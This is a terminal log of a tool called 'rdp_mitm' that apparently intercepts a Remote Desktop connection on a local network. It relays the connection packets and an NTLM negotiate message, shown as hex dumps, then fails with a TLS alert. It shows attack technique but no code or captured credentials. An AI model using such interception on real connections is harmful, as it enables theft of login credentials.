aghaster@debian:~/c/rdp_mitm$ ./rdp_mitm 1337
Got connection from 192.168.1.125
Received RDP client initial from source
03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03        ................
00 00 00                                               ...
Sent RDP server initial to source
03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 02        .........4......
00 00 00                                               ...
TLS connection established with source
Connected to 192.168.1.125 on port 3389
Sent RDP client initial to destination
03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03        ................
00 00 00                                               ...
Received RDP server initial from destination
03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 02        .........4......
00 00 00                                               ...
TLS connection established with destination
srcfd readable
read 57 bytes
30 37 A0 03 02 01 02 A1 30 30 2E 30 2C A0 2A 04        07......00.0,.*.
28 4E 54 4C 4D 53 53 50 00 01 00 00 00 B7 82 08        (NTLMSSP........
E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ................
00 06 00 72 17 00 00 00 0F                             ...r.....
dstfd writable
Wrote 57 bytes
30 37 A0 03 02 01 02 A1 30 30 2E 30 2C A0 2A 04        07......00.0,.*.
28 4E 54 4C 4D 53 53 50 00 01 00 00 00 B7 82 08        (NTLMSSP........
E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00        ................
00 06 00 72 17 00 00 00 0F                             ...r.....
dstfd readable
SSL_ERROR_SSL
28156:error:14094438:SSL routines:SSL3_READ_BYTES:tlsv1 alert internal error:s3_pkt.c:1060:SSL alert number 80
dstfd readable
Connection with was closed